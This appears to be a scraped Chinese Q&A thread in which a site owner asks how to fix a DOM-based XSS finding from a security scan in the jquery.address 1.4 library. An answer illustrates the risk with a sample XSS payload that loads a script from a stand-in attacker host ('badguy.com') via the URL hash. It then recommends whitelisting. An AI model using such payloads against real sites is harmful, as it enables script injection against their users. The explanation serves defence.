2013-03-01 36 views
1

我最近在我的网站上运行了安全扫描,并且正在使用的其中一个JS文件被标记为有DOM跨站点脚本问题,我不确定我可以如何修复它。安全扫描显示JS脚本文件中的漏洞

文件:jquery.address1.4.js

这里是脚本从被标记的代码的部分:

_supported = 
      (_mozilla && _version >= 1) || 
      (_msie && _version >= 6) || 
      (_opera && _version >= 9.5) || 
      (_webkit && _version >= 523); 

     if (_supported) { 
      if (_opera) { 
       history.navigationMode = 'compatible'; 
      } 
      if (document.readyState == 'complete') { 
       var interval = setInterval(function() { 
        if ($.address) { 
         _load(); 
         clearInterval(interval); 
        } 
       }, 50); 
      } else { 
       _options(); 
       $(_load); 
      } 
      $(window).bind('popstate', _popstate).bind('unload', _unload);    
     } else if (!_supported && _hrefHash() !== '') { 
      _l.replace(_l.href.substr(0, _l.href.indexOf('#'))); 
     } else { 
      _track(); 
     } 

的代码行是这样的:

_l.replace(_l.href.substr(0, _l.href.indexOf('#'))); 

扫描告诉我要对输入进行消毒,但我不确定它指的是什么,因为我们在网站上没有“输入”。如何修复上述代码以便通过安全扫描?

编辑: 这是_l

_l = _t.location, 

的价值来源:

_window = function() { 
       try { 
        return top.document !== UNDEFINED ? top : window; 
       } catch (e) { 
        return window; 
       } 
      }, 

ID = 'jQueryAddress', 
      STRING = 'string', 
      HASH_CHANGE = 'hashchange', 
      INIT = 'init', 
      CHANGE = 'change', 
      INTERNAL_CHANGE = 'internalChange', 
      EXTERNAL_CHANGE = 'externalChange', 
      TRUE = true, 
      FALSE = false, 
      _opts = { 
       autoUpdate: TRUE, 
       crawlable: FALSE, 
       history: TRUE, 
       strict: TRUE, 
       wrap: FALSE 
      }, 
      _browser = $.browser, 
      _version = parseFloat($.browser.version), 
      _mozilla = _browser.mozilla, 
      _msie = _browser.msie, 
      _opera = _browser.opera, 
      _webkit = _browser.webkit || _browser.safari, 
      _supported = FALSE, 
      _t = _window(), 
      _d = _t.document, 
      _h = _t.history, 
      _l = _t.location, 
      _si = setInterval, 
      _st = setTimeout, 
      _re = /\/{2,9}/g, 
      _agent = navigator.userAgent,    
      _frame, 
      _form, 
      _url = _search(document), 
      _qi = _url ? _url.indexOf('?') : -1, 
      _title = _d.title, 
      _silent = FALSE, 
      _loaded = FALSE, 
      _justset = TRUE, 
      _juststart = TRUE, 
      _updating = FALSE, 
      _listeners = {}, 
      _value = _href(); 
+0

什么是'_l'?当你不显示'_l'如何初始化时,很难说出它为什么认为这是一个安全问题。 – 2013-03-01 18:02:04

+0

嗨,这是我在文件中找到的: _l = _t.location, – Keoki 2013-03-01 18:11:29

+0

OK,那么_t是如何定义的? – 2013-03-01 18:13:17

回答

0

在这个例子中unsanitized值将会从您的网址检索到的哈希值。应该清除URL中“#”前面的任何值,以确保攻击者无法在该上下文中提供自己的JavaScript。

只是因为这个值可能不提供“输入”明确的用户,没有什么可以阻止恶意用户提供恶意值,如下列:

#"><script src=http://badguy.com/xss.js /> 

这将在上下文中执行的其他用户。

本示例或输入消毒的有效防御将是白名单方法。只接受#的已知值,不允许攻击者可能提供的任何内容。

这是防御基于DOM的XSS的一个很好的资源https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet我建议你通读它。

+0

OP公布的代码丢弃散列值。 – 2013-03-02 00:20:20

+0

是的,但代码也读取散列值,这足以让攻击者注入脚本,如上面的示例所示。前面的“#”值被认为是由用户提供的,因为它在URL中。因此,必须对其进行消毒,以防止攻击者注入自己的代码,从而破坏当前程序的控制流。 – eliteparakeet 2013-03-04 18:21:58